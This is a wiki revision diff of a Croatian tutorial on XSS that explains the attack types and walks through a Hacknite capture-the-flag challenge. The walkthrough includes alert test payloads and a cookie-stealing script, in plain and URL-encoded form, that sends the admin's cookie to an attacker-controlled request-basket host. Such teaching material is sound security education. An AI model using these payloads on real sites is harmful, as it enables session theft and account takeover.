| Both sides previous revisionPrevious revisionNext revision | Previous revision |
| xss_napadi [2023/11/22 16:24] – lss | xss_napadi [2026/06/11 14:56] (current) – Uvod prepravljen mbunic |
|---|
| ====XSS napadi==== | ====XSS napadi==== |
| |
| **XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\ | **XSS (Cross-site scripting)** je vrsta napada u kojem napadač ubacuje zlonamjerni sadržaj (payload) u odgovor web aplikacije koji se poslužuje korisnicima. Napad se izvršava na klijentskoj strani, unutar preglednika žrtve. Payload je najčešće zlonamjeran JavaScript kôd, ali može sadržavati i HTML, CSS, SVG ili druge tehnologije koje omogućuju izvršavanje ili prikaz zlonamjernog sadržaja. Jedan od najčešćih ciljeva je krađa korisničkih kolačića ili sjednice (session tokena) te njihova eksfiltracija slanjem zahtjeva s ukradenim podatcima na drugu stranicu pod kontrolom napadača. Nakon toga, napadač često može koristiti ukradenu sjednicu te pristupiti stranici koristeći žrtvin račun.\\ |
| Funkcionira na način da se korisniku neke web stranice u odgovoru na njegov zahtjev vraća maliciozan | |
| JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu | Ranjivost se najčešće temelji na neadekvatnim procedurama validacije, pročišćavanja ili enkodiranja unosa nad kojim korisnici imaju kontrolu prije njihovog prikaza u pregledniku. Napadač može zlonamjeran unos pohraniti na samom poslužitelju te ga tako učiniti perzistentnim. U tom slučaju poslužitelj naknadno poslužuje odgovore koji sadrže zlonamjerni sadržaj korisnicima pri određenim zahtjevima. Također, napadač može zlonamjeran unos prenijeti putem URL parametara linka koji šalje žrtvi. Tada se payload uključuje u odgovor aplikacije i izvršava u pregledniku žrtve nakon što žrtva pristupi legitimnoj stranici preko linka poslanog od napadača. XSS je jedan od najčešćih web napada. |
| nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u | |
| kojemu se traži korisnički unos potencijalno je ranjiv ako nema dobre procedure validacije i pročišćavanja unosa. | |
| |
| //Reflected XSS (Non-Persistent//) je tip napada u kojem se podatci koje je unio korisnik u HTTP zahtjev odmah vrate preko odgovora na taj isti zahtjev. Stranica vrati podatke bez da je ikako provjerila jesu li ti podatci sigurni za korištenje te je iz tog razloga ranjiva. Podatci se u pravilu nigdje ne pohranjuju, već ostaju u pregledniku tog korisnika te je zato drugi naziv Non-Persistent. | //Reflected XSS (Non-Persistent//) je tip napada u kojem se podatci koje je unio korisnik u HTTP zahtjev odmah vrate preko odgovora na taj isti zahtjev. Stranica vrati podatke bez da je ikako provjerila jesu li ti podatci sigurni za korištenje te je iz tog razloga ranjiva. Podatci se u pravilu nigdje ne pohranjuju, već ostaju u pregledniku tog korisnika te je zato drugi naziv Non-Persistent. |
| Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. | Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime. |
| |
| //Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke sa | //Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke s |
| nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za | nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za |
| korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti | korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti |
| ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica sa člancima koja | ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica s člancima koja |
| omogućuje komentare. Recimo da je napadač unio skriptu kao komentar na određeni članak. Ta skripta | omogućuje komentare. Recimo da je napadač unio skriptu kao komentar na određeni članak. Ta skripta |
| izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori | izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori |
| taj članak. | taj članak. |
| |
| Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke sa izvora koji | Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke s izvora koji |
| kontrolira napadač, primjerice URL, i ubacuje ga u DOM (//Document Object Model//) stranice. Primjerice, ako napadač dobije pristup pisanja u DOM i unese naredbu: | kontrolira napadač, primjerice URL, i ubacuje ga u DOM (//Document Object Model//) stranice. Primjerice, ako napadač dobije pristup pisanja u DOM i unese naredbu: |
| <code>document.write('... <script>alert(document.domain)</script> ...'); | <code>document.write('... <script>alert(document.domain)</script> ...'); |
| <div> $varUnsafe </div> | <div> $varUnsafe </div> |
| </code> | </code> |
| jer napadač može unijeti skritpu kao varijablu, primjerice: | jer napadač može unijeti skriptu kao varijablu, primjerice: |
| <code> | <code> |
| <script>alert`1`</script> | <script>alert`1`</script> |
| |
| |
| __PRIMJER__ -**Zadatak s Hacknite platforme - Pronađi svoju stranicu** | __PRIMJER__ - **Zadatak s Hacknite platforme - Pronađi svoju stranicu** |
| <file> | <file> |
| Mario je jako sretan sa svojom stranicom na kojoj se mogu izmjenjivati korisni linkovi, ali osjećao je | Mario je jako sretan sa svojom stranicom na kojoj se mogu izmjenjivati korisni linkovi, ali osjećao je |
| vidjeti kako je to napravio. | vidjeti kako je to napravio. |
| Budući da je siguran u svoju stranicu, a i pomalo lijen, stavio je neke korisne informacije u kolačiće | Budući da je siguran u svoju stranicu, a i pomalo lijen, stavio je neke korisne informacije u kolačiće |
| kako bi im lakše mogao pristupiti. Mario je nastavio korisiti svoju stranicu, i zaista se uvjerio da | kako bi im lakše mogao pristupiti. Mario je nastavio koristiti svoju stranicu, i zaista se uvjerio da |
| nije time napravio nikakav propust. | nije time napravio nikakav propust. |
| Ukoliko i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš | Ako i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš |
| moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario. | moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario. |
| |
| </file> | </file> |
| |
| U prilogu se nalazi još jedna php datoteka.\\ | U prilogu se nalazi i jedna .php datoteka, no ona se u ovom pojašnjenju ne koristi.\\ |
| Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što su napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Primjećujemo mjesto za korisnički input koje, ako nema dobro riješeno pročišćavanje unosa, može biti potencijalno ranjivo. \\ | |
| Budući da iskorištavamo XSS ranjivost, prvo ćemo napraviti svoju web stranicu sa IP adresom {//ip_zlonamjerne_stranice//}. Marijeva stranica sadrži dio za pretraživanje linkova te ćemo u njega upisati | Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\ |
| | Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu linkova neku jednostavnu naredbu i pošaljimo zahtjev. |
| | <code><script>alert(1)</script></code> |
| | Vidimo da se naredba izvršila, dakle ranjivost postoji. \\ |
| | Iskoristit ćemo ranjivost tako što ćemo poslati JavaScript kod koji će ukrasti adminov kolačić. Zatim ćemo ukradeni kolačić preusmjeriti na web stranicu koja ga može pohraniti. Za to ćemo iskoristiti stranicu na adresi http://requestbaskets.platforma.hacknite.hr. To je stranica koja stvara košaricu (//basket//) za sve zahtjeve koji su joj upućeni i pohranjuje sve detalje toga zahtjeva. Napravimo svoju košaricu. Ona će imati svoj id koji će u daljnjim koracima biti označen s {id} (piše se bez uglatih zagrada u link). Jednostavnija je opcija kopirati link direktno sa stranice i njega upisivati u zahtjeve (crveno zaokruženo). |
| | |
| | {{ :basket2.png?600 |}} |
| | |
| | Upišimo sad u tražilicu: |
| | <code><script>document.location="http://requestbasekts.platforma.hacknite.hr/{id}/?c="+document.cookie;</script></code> |
| | kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti. |
| | |
| | {{ :cookie-rez.png?600 |}} |
| | |
| | Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Otiđimo sad na podstranicu koja određenoj osobi šalje link te pošaljimo adminu sljedeće: |
| <code> | <code> |
| [javascript] document.location="http://{ip__zlonamjerne_stranice}/?c="+document.cookie;[/javascript] | http://chal.platforma.hacknite.hr:10011/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2Frequestbaskets.platforma.hacknite.hr/{id}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E |
| </code> | |
| Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova,ovaj JavaScript kod će se izvršiti. Preko parametra c poslani su kolačići s trenutne stranice na našu, zlonamjernu. Nakon toga na Marijevoj stranici kao ulogirani korisnik odaberemo podstranicu za slanje novih linkova. Administratoru (Mariju) pošaljemo sljedeći link: | |
| <code> | |
| http://ip_adresa_zadatka/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2F{ip_zlonamjerne_stranice}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E | |
| </code> | </code> |
| Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na ip_zlonamjerne_stranice i opet smo kao c parametar unijeli document.cookie. Za razumijevanje linka važni su ovi znakovi: \\ | |
| %3C < \\ | |
| %3E > \\ | |
| %3D = \\ | |
| %22 " \\ | |
| %3A : \\ | |
| %3F ? \\ | |
| %2F / \\ | |
| %3B ; \\ | |
| Kad prevedemo link na taj način, uočit ćemo da je isti kao onaj koji smo na početku upisali u svoju zlonamjernu stranicu. Ova naredba unutar <script> taga nam je omogućila da se ispiše flag koji je sadržan u kolačiću. Desetak sekundi nakon slanja ove naredbe trebao bi se pojaviti flag u logu dockera. \\ | |
| |
| | {{ :zahtjev-link.png?600 |}} |
| | |
| | Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Posebni znakovi u linku koji šaljemo su URL-encodani: \\ |
| | ^ Kod ^ Značenje znaka ^ |
| | |%3C |< | |
| | |%3E |> | |
| | |%3D |= | |
| | |%22 |" | |
| | |%3A |: | |
| | |%3F |? | |
| | |%2F |/ | |
| | |%3B |; | |
| | |
| | Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag: |
| | |
| | {{ :flag.png?600 |}} |
| | |
| | Flag je URL-encoded, ali jedino što treba promijeniti su uglate zagrade:\\ |
| | ^ Kod ^ Značenje znaka ^ |
| | |%5B |[ | |
| | |%5D |] | |
| |
| Izvori \\ | ===Izvori=== |
| [1]https://owasp.org/www-community/attacks/xss/ \\ | [1]https://owasp.org/www-community/attacks/xss/ \\ |
| [2]https://owasp.org/www-community/Types_of_Cross-Site_Scripting\\ | [2]https://owasp.org/www-community/Types_of_Cross-Site_Scripting\\ |